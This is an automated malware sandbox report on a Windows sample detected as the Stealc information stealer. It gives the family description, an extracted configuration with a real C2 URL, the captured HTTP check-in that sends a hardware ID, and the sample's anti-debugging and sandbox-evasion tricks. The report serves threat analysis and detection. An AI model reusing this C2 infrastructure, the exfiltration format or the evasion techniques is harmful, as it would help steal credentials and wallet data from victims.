Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1540505
MD5:	de1624f6c5d98d559c64c9c30359b942
SHA1:	b02c82eeb4d1e7b768633ef276f182b653db29fc
SHA256:	3a98e0f2785d57188cab067e1c48a2355d69212f432380d94315db75d1be30ce
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 6448 cmdline: "C:\Users\user\Desktop\file.exe" MD5: DE1624F6C5D98D559C64C9C30359B942)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1291738753.0000000000DE3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1251438236.0000000005340000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 6448	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6448	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.fb0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-23T20:55:05.940663+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	49699	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware

Found malware configuration

Source: 0.2.file.exe.fb0000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 47%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FBC820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_00FBC820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB9AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00FB9AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB7240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00FB7240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB9B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00FB9B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FC8EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00FC8EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FC38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00FC38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FC4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00FC4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FBDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00FBDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FBE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00FBE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FC4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00FC4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FBED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00FBED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00FB16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FBF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00FBF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FC3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00FC3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FBBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00FBBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FBDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00FBDE10

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:49699 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDBKKKKKFBGDGDHIDBGHHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 44 31 38 30 31 45 34 43 42 37 42 31 39 35 33 34 34 38 30 31 39 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 2d 2d 0d 0a Data Ascii: ------IDBKKKKKFBGDGDHIDBGHContent-Disposition: form-data; name="hwid"CD1801E4CB7B1953448019------IDBKKKKKFBGDGDHIDBGHContent-Disposition: form-data; name="build"doma------IDBKKKKKFBGDGDHIDBGH--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FB4880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00FB4880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDBKKKKKFBGDGDHIDBGHHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 44 31 38 30 31 45 34 43 42 37 42 31 39 35 33 34 34 38 30 31 39 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 2d 2d 0d 0a Data Ascii: ------IDBKKKKKFBGDGDHIDBGHContent-Disposition: form-data; name="hwid"CD1801E4CB7B1953448019------IDBKKKKKFBGDGDHIDBGHContent-Disposition: form-data; name="build"doma------IDBKKKKKFBGDGDHIDBGH--

Source: file.exe, 00000000.00000002.1291738753.0000000000DCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.1291738753.0000000000E2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.1291738753.0000000000E2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/3O
Source: file.exe, 00000000.00000002.1291738753.0000000000E2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.1291738753.0000000000E43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php$
Source: file.exe, 00000000.00000002.1291738753.0000000000E2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php8_Tv
Source: file.exe, 00000000.00000002.1291738753.0000000000E2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpD_
Source: file.exe, 00000000.00000002.1291738753.0000000000E2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpX_
Source: file.exe, 00000000.00000002.1291738753.0000000000DCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37g

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01353155	0_2_01353155
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0139495D	0_2_0139495D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0137C1A9	0_2_0137C1A9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012321D7	0_2_012321D7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0138C30F	0_2_0138C30F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01391345	0_2_01391345
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01388B92	0_2_01388B92
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01399A11	0_2_01399A11
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0139640C	0_2_0139640C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0139B46D	0_2_0139B46D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0139CF04	0_2_0139CF04
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01308F69	0_2_01308F69
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013C97A0	0_2_013C97A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0139EFCE	0_2_0139EFCE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0138DE5C	0_2_0138DE5C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0138A6AF	0_2_0138A6AF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01392EA0	0_2_01392EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013876A7	0_2_013876A7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01397EC2	0_2_01397EC2

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 00FB45C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: sacriosm ZLIB complexity 0.9950929799139691

Source: file.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: file.exe, 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1251438236.0000000005340000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FC8680 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_00FC8680

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FC3720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00FC3720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\XCLHRD0D.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

ReversingLabs: Detection: 47%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1911808 > 1048576

Source: file.exe

Static PE information: Raw size of sacriosm is bigger than: 0x100000 < 0x1aca00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.fb0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;sacriosm:EW;bxtvqvzl:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;sacriosm:EW;bxtvqvzl:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FC9860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00FC9860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1d7b34 should be: 0x1d67c6

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: sacriosm
Source: file.exe	Static PE information: section name: bxtvqvzl
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013D712C push 5B4551ACh; mov dword ptr [esp], edx	0_2_013D714E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013C9104 push 213D8DF4h; mov dword ptr [esp], esi	0_2_013C9128
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01484177 push 15970855h; mov dword ptr [esp], edx	0_2_0148419B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013BF96E push 36287A32h; mov dword ptr [esp], eax	0_2_013BF9AC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012E0176 push 1F82D150h; mov dword ptr [esp], ebx	0_2_012E0197
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012E0176 push eax; mov dword ptr [esp], 7FBFBD57h	0_2_012E01B8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01353155 push ebp; mov dword ptr [esp], eax	0_2_01353159
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01353155 push edi; mov dword ptr [esp], 79F31B78h	0_2_0135317D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0139495D push edx; mov dword ptr [esp], 6E185FC6h	0_2_01394965
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0139495D push 3DCA8B7Ah; mov dword ptr [esp], ebp	0_2_013949E5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0139495D push edx; mov dword ptr [esp], eax	0_2_01394A94
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0139495D push 08AC2DEBh; mov dword ptr [esp], ebx	0_2_01394AD4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0139495D push ebp; mov dword ptr [esp], edi	0_2_01394B8B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0139495D push ebp; mov dword ptr [esp], ebx	0_2_01394BBE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0139495D push 0A3B321Eh; mov dword ptr [esp], esi	0_2_01394BC6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0139495D push edx; mov dword ptr [esp], 77267F43h	0_2_01394BE3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0139495D push 3094F9BDh; mov dword ptr [esp], ecx	0_2_01394C77
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0139495D push 283F7A17h; mov dword ptr [esp], edi	0_2_01394CF9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0139495D push ebp; mov dword ptr [esp], 6F6BAF96h	0_2_01394D2D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0139495D push ebx; mov dword ptr [esp], 3146EFC7h	0_2_01394D93
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0139495D push ebx; mov dword ptr [esp], ecx	0_2_01394D9E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0139495D push eax; mov dword ptr [esp], edi	0_2_01394E13
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0139495D push 07BD69AFh; mov dword ptr [esp], ecx	0_2_01394EA3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0139495D push 0876BF65h; mov dword ptr [esp], edx	0_2_01394EF7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0139495D push 200EFB96h; mov dword ptr [esp], esi	0_2_01394F08
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0139495D push ebx; mov dword ptr [esp], 3A85B921h	0_2_01394F47
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0139495D push ebx; mov dword ptr [esp], ebp	0_2_01394F80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0139495D push 76D46DF6h; mov dword ptr [esp], edi	0_2_01394FA1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0139495D push esi; mov dword ptr [esp], ecx	0_2_01394FA7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0139495D push ecx; mov dword ptr [esp], edi	0_2_01394FAB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0139495D push ebp; mov dword ptr [esp], edx	0_2_013950E8

Source: file.exe

Static PE information: section name: sacriosm entropy: 7.954815877107788

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00FC9860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13572

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1211961 second address: 121196C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A6146 second address: 13A614C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A614C second address: 13A6150 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A50B9 second address: 13A50C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A50C6 second address: 13A50CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A525B second address: 13A525F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A525F second address: 13A526B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A53C6 second address: 13A53CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
